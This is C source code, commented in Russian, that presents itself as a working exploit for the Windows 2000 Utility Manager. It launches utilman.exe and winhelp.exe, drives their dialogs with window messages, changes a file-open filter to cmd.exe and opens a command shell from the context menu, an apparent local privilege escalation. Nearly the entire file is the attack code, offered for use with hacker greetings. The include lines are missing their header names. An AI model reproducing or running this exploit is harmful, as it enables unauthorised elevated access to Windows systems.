/* * Рабочий эксплойт для Диспетчера Служебных Программ * by 0x90 with a great help of Paul. * Greets fly 2: * [*] Politeh: Tilk, xImian, wormboy, .dump, Zorro, MMM. * [*] WapBBS: FuzzMachine, Paul, KillerLoo, spaWn, alegri,SergekO. * [*] RespectMen: SolarDesigner, 3APA3A, Fyodor, KPNC. * [*] Others: all except punk_rocker. * AND OF COURSE TO MY BROTHER MACiNTOSH. * * Notes: exploit works at win2k with all SP. * Special note for *private sploiters* - INFORMATION MUST BE FREE. * Doesn't work at WinXP all versions. * $VERSION = 0.8b [UNIVERSAL & INTERNATIONAL] */ #define _WIN32_WINNT 0x0500 #include #include #include #define authors 0x90 & (Paul | CHyCMyMPuK) #define sleeptime 2000 //Время для промежуточных слипов (поставлено по максимуму). int main(int argc, char *argv[]) { char UtilManWindowCaption[256]; char WindowsHelpCaption[256]; char OpenDialogCaption[256]; char shell[]="%windir%\\system32\\cmd.ex?"; char OemChar[256]; POINT point; HANDLE h1,h2; HKEY hKey; int i=255,j; //Узнаем из реестра нужную нам инфу //Заголовок главного окна Utilman.exe //HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_UTILMAN\0000\DeviceDesc RegOpenKey(HKEY_LOCAL_MACHINE,"SYSTEM\\CurrentControlSet\\Enum\\Root\\LEGACY_UTILMAN\\0000",&hKey); RegQueryValueEx(hKey,"DeviceDesc",NULL,NULL,&UtilManWindowCaption,&i); CharToOem(UtilManWindowCaption,OemChar); printf("Utilman.exe caption is %s.\n",OemChar); //Заголовок Диалога открытия файла //HKEY_LOCAL_MACHINE\SOFTWARE\Classes\htmlfile\shell\opennew RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Classes\\htmlfile\\shell\\opennew",&hKey); RegQueryValueEx(hKey,"",NULL,NULL,&OpenDialogCaption,&i); for (j=0; j<=strlen(OpenDialogCaption); j++) OpenDialogCaption[j]=OpenDialogCaption[j+1]; OpenDialogCaption[j]=0x00; CharToOem(OpenDialogCaption,OemChar); printf("OpenDialog caption is %s.\n",OemChar); //Запускаем winhelp.exe находим заголовок WinExec("winhelp.exe",SW_NORMAL); Sleep(sleeptime/2); GetWindowText(FindWindow("MS_WINDOC",NULL),WindowsHelpCaption,255); SendMessage(FindWindow("MS_WINDOC",NULL),WM_CLOSE,0,0); CharToOem(WindowsHelpCaption,OemChar); printf("Windows Help caption is %s.\n",OemChar); //Запускаем Диспетчер служебных программ WinExec("utilman.exe /start",SW_NORMAL); Sleep(sleeptime/2); //Для тех что хочет закрэшить Utilman - разкоментируйте следующую строку //getch(); //Почему утилман крэшится от промедления со временем до сих пор не знаю =(. //причем в независимости от привелегий. //Находим хэндл окна диспетчера служебных программ h1=FindWindow(NULL, UtilManWindowCaption); if (h1!=0) printf("UtilMan window found. Handle is 0x%X\n",h1); else { printf("No UtilMan window found..."); exit(0); } //Открываем справочное окно SendMessage(h1,0x365,0,0x1); Sleep(sleeptime); //В открывшемся диалоге надо кликнуть ДА. //Так что находим окно и жмякаем там ентер h1=FindWindow(NULL,WindowsHelpCaption); if (h1!=0) printf("Windows Help windows found. Handle is 0x%X\n",h1); else { printf("No Windows Help found..."); exit(0); } SendMessage (h1,WM_IME_KEYDOWN, VK_RETURN, 0); Sleep(sleeptime); //В диалоге открытия файла надо поменять фильтр файлов //Находим окно h1=FindWindow("#32770",OpenDialogCaption); if (h1!=0) printf("OpenDialog found. Handle is 0x%X\n",h1); else { printf(" No OpenDialog found..."); exit(0); } //находим окно фильтра файлов и меняем маску h2 = GetDlgItem(h1,0x47C); if (h2!=0) printf("ComboBox found. Handle is 0x%X\n",h2); else { printf(" No ComboBox found..."); exit(0); } SendMessage(h2,WM_SETTEXT,0,(LPARAM)shell); SendMessage(h2,WM_IME_KEYDOWN,VK_RETURN,0); Sleep(sleeptime); //Находим навигационную панель h2 = GetDlgItem(h1, 0x4A0); if (h2!=0) printf("Navigation bar found. Handle is 0x%X\n",h2); else { printf(" No Navigation bar found..."); exit(0); } //Посылаем символ табуляции SendMessage (h2, WM_IME_KEYDOWN, VK_TAB, 0); Sleep(sleeptime); h2 = FindWindowEx(h1,NULL,"SHELLDLL_DefView", NULL); if (h2!=0) printf("ShellListView found. Handle is 0x%X\n",h2); else { printf(" No ShellListView found..."); exit(0); } //Находим хэндл ЛистБокса h2 = GetDlgItem(h2, 0x1); if (h2!=0) printf("ListBox found. Handle is 0x%X\n",h2); else { printf(" No ListBox found..."); exit(0); } SendMessage (h2, WM_IME_KEYDOWN, 0x43, 0); // send "c" char SendMessage (h2, WM_IME_KEYDOWN, 0x4D, 0); // send "m" char SendMessage (h2, WM_IME_KEYDOWN, 0x44, 0); // send "d" char Sleep(sleeptime); //Открываем контекстное меню PostMessage (h2, WM_CONTEXTMENU, 0, 0); Sleep(sleeptime/2); //Выбираем второй пункт в меню point.x =10; point.y =30; h2=WindowFromPoint(point); if (h2==0) exit(0); SendMessage (h2, WM_KEYDOWN, VK_DOWN, 0); SendMessage (h2, WM_KEYDOWN, VK_DOWN, 0); SendMessage (h2, WM_KEYDOWN, VK_RETURN, 0); //посылаем символ ввода SendMessage(FindWindow(NULL,UtilManWindowCaption),WM_CLOSE,0,0); SendMessage(h1,WM_CLOSE,0,0); SendMessage(FindWindow(NULL,WindowsHelpCaption),WM_CLOSE,0,0); //*/ //getch(); return 0; }